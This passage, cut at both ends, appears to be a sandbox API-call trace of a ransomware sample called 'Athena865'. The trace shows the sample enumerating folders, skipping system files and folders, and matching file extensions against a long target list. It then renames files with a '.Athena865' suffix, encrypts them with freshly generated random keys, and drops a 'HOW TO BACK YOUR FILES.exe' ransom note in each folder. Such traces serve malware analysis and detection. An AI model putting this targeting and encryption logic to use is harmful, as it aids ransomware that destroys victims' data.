dwMaximumSizeLow=0x630, lpName=0x0) returned 0x17c [0056.434] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000 [0056.435] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0056.436] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.436] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0056.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.437] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0056.437] CloseHandle (hObject=0x17c) returned 1 [0056.437] CloseHandle (hObject=0x154) returned 1 [0056.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0056.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.437] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0056.437] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0056.437] lstrlenW (lpString="Setup.xml") returned 9 [0056.437] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0056.437] lstrlenW (lpString="Setup.xml") returned 9 [0056.438] lstrlenW (lpString="Athena865") returned 9 [0056.438] lstrlenW (lpString=".dll") returned 4 [0056.438] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0056.438] lstrlenW (lpString=".lnk") returned 4 [0056.438] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0056.438] lstrlenW (lpString=".ini") returned 4 [0056.438] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0056.438] lstrlenW (lpString=".sys") returned 4 [0056.438] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0056.438] lstrlenW (lpString="Setup.xml") returned 9 [0056.438] lstrlenW (lpString="bak") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0056.438] lstrlenW (lpString="ba_") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0056.438] lstrlenW (lpString="dbb") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0056.438] lstrlenW (lpString="vmdk") returned 4 [0056.438] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0056.438] lstrlenW (lpString="rar") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0056.438] lstrlenW (lpString="zip") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0056.438] lstrlenW (lpString="tgz") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0056.438] lstrlenW (lpString="vbox") returned 4 [0056.438] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0056.438] lstrlenW (lpString="vdi") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0056.438] lstrlenW (lpString="vhd") returned 3 [0056.438] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0056.438] lstrlenW (lpString="vhdx") returned 4 [0056.438] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0056.438] lstrlenW (lpString="avhd") returned 4 [0056.438] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0056.439] lstrlenW (lpString="db") returned 2 [0056.439] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0056.439] lstrlenW (lpString="db2") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0056.439] lstrlenW (lpString="db3") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0056.439] lstrlenW (lpString="dbf") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0056.439] lstrlenW (lpString="mdf") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0056.439] lstrlenW (lpString="mdb") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0056.439] lstrlenW (lpString="sql") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0056.439] lstrlenW (lpString="sqlite") returned 6 [0056.439] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0056.439] lstrlenW (lpString="sqlite3") returned 7 [0056.439] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0056.439] lstrlenW (lpString="sqlitedb") returned 8 [0056.439] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0056.439] lstrlenW (lpString="xml") returned 3 [0056.439] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0056.439] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0056.439] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0056.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.440] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5884) returned 1 [0056.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0056.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0056.441] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.441] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0056.441] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a00, lpName=0x0) returned 0x17c [0056.443] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a00) returned 0x100000 [0056.445] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0056.445] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.445] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0056.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.446] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0056.446] CloseHandle (hObject=0x17c) returned 1 [0056.446] CloseHandle (hObject=0x154) returned 1 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0056.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.446] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0056.446] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0056.447] ReleaseMutex (hMutex=0xec) returned 1 [0056.447] CloseHandle (hObject=0xec) returned 1 [0056.447] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" [0056.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0056.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f598 | out: hHeap=0x4f0000) returned 1 [0056.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned 62 [0056.447] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E87478051FB9BD0BC8215474FF9F8C27") returned 0xec [0056.447] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0056.447] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" [0056.447] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0056.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0056.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0056.448] GetLastError () returned 0x0 [0056.448] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0056.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0056.448] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0056.448] CloseHandle (hObject=0xf4) returned 1 [0056.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0056.449] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0056.449] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd36cac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0056.449] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0056.449] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0056.449] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd36cac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.449] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0056.449] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0056.449] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.449] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd36cac0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0056.449] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0056.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="..") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="windows") returned -1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="bootmgr") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="temp") returned -1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="pagefile.sys") returned -1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="boot") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="ids.txt") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="ntuser.dat") returned 1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="perflogs") returned -1 [0056.449] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="MSBuild") returned 1 [0056.449] lstrlenW (lpString="Office32MUI.msi") returned 15 [0056.449] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32MUI.msi" | out: lpString1="Office32MUI.msi") returned="Office32MUI.msi" [0056.450] lstrlenW (lpString="Office32MUI.msi") returned 15 [0056.450] lstrlenW (lpString="Athena865") returned 9 [0056.450] lstrcmpiW (lpString1="32MUI.msi", lpString2="Athena865") returned -1 [0056.450] lstrlenW (lpString=".dll") returned 4 [0056.450] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".dll") returned 1 [0056.450] lstrlenW (lpString=".lnk") returned 4 [0056.450] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".lnk") returned 1 [0056.450] lstrlenW (lpString=".ini") returned 4 [0056.450] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".ini") returned 1 [0056.450] lstrlenW (lpString=".sys") returned 4 [0056.450] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".sys") returned 1 [0056.450] lstrlenW (lpString="Office32MUI.msi") returned 15 [0056.450] lstrlenW (lpString="bak") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0056.450] lstrlenW (lpString="ba_") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0056.450] lstrlenW (lpString="dbb") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0056.450] lstrlenW (lpString="vmdk") returned 4 [0056.450] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0056.450] lstrlenW (lpString="rar") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0056.450] lstrlenW (lpString="zip") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0056.450] lstrlenW (lpString="tgz") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0056.450] lstrlenW (lpString="vbox") returned 4 [0056.450] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0056.450] lstrlenW (lpString="vdi") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0056.450] lstrlenW (lpString="vhd") returned 3 [0056.450] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0056.451] lstrlenW (lpString="vhdx") returned 4 [0056.451] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0056.451] lstrlenW (lpString="avhd") returned 4 [0056.451] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0056.451] lstrlenW (lpString="db") returned 2 [0056.451] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0056.451] lstrlenW (lpString="db2") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0056.451] lstrlenW (lpString="db3") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0056.451] lstrlenW (lpString="dbf") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0056.451] lstrlenW (lpString="mdf") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0056.451] lstrlenW (lpString="mdb") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0056.451] lstrlenW (lpString="sql") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0056.451] lstrlenW (lpString="sqlite") returned 6 [0056.451] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0056.451] lstrlenW (lpString="sqlite3") returned 7 [0056.451] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0056.451] lstrlenW (lpString="sqlitedb") returned 8 [0056.451] lstrcmpiW (lpString1="2MUI.msi", lpString2="sqlitedb") returned -1 [0056.451] lstrlenW (lpString="xml") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0056.451] lstrlenW (lpString="$er") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0056.451] lstrlenW (lpString="4dd") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0056.451] lstrlenW (lpString="4dl") returned 3 [0056.451] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0056.451] lstrlenW (lpString="^^^") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0056.452] lstrlenW (lpString="abs") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0056.452] lstrlenW (lpString="abx") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0056.452] lstrlenW (lpString="accdb") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0056.452] lstrlenW (lpString="accdc") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0056.452] lstrlenW (lpString="accde") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0056.452] lstrlenW (lpString="accdr") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0056.452] lstrlenW (lpString="accdt") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0056.452] lstrlenW (lpString="accdw") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0056.452] lstrlenW (lpString="accft") returned 5 [0056.452] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0056.452] lstrlenW (lpString="adb") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.452] lstrlenW (lpString="adb") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.452] lstrlenW (lpString="ade") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0056.452] lstrlenW (lpString="adf") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0056.452] lstrlenW (lpString="adn") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0056.452] lstrlenW (lpString="adp") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0056.452] lstrlenW (lpString="alf") returned 3 [0056.452] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0056.453] lstrlenW (lpString="ask") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0056.453] lstrlenW (lpString="btr") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0056.453] lstrlenW (lpString="cat") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0056.453] lstrlenW (lpString="cdb") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0056.453] lstrlenW (lpString="ckp") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0056.453] lstrlenW (lpString="cma") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0056.453] lstrlenW (lpString="cpd") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0056.453] lstrlenW (lpString="dacpac") returned 6 [0056.453] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0056.453] lstrlenW (lpString="dad") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0056.453] lstrlenW (lpString="dadiagrams") returned 10 [0056.453] lstrcmpiW (lpString1="e32MUI.msi", lpString2="dadiagrams") returned 1 [0056.453] lstrlenW (lpString="daschema") returned 8 [0056.453] lstrcmpiW (lpString1="2MUI.msi", lpString2="daschema") returned -1 [0056.453] lstrlenW (lpString="db-journal") returned 10 [0056.453] lstrcmpiW (lpString1="e32MUI.msi", lpString2="db-journal") returned 1 [0056.453] lstrlenW (lpString="db-shm") returned 6 [0056.453] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0056.453] lstrlenW (lpString="db-wal") returned 6 [0056.453] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0056.453] lstrlenW (lpString="dbc") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0056.453] lstrlenW 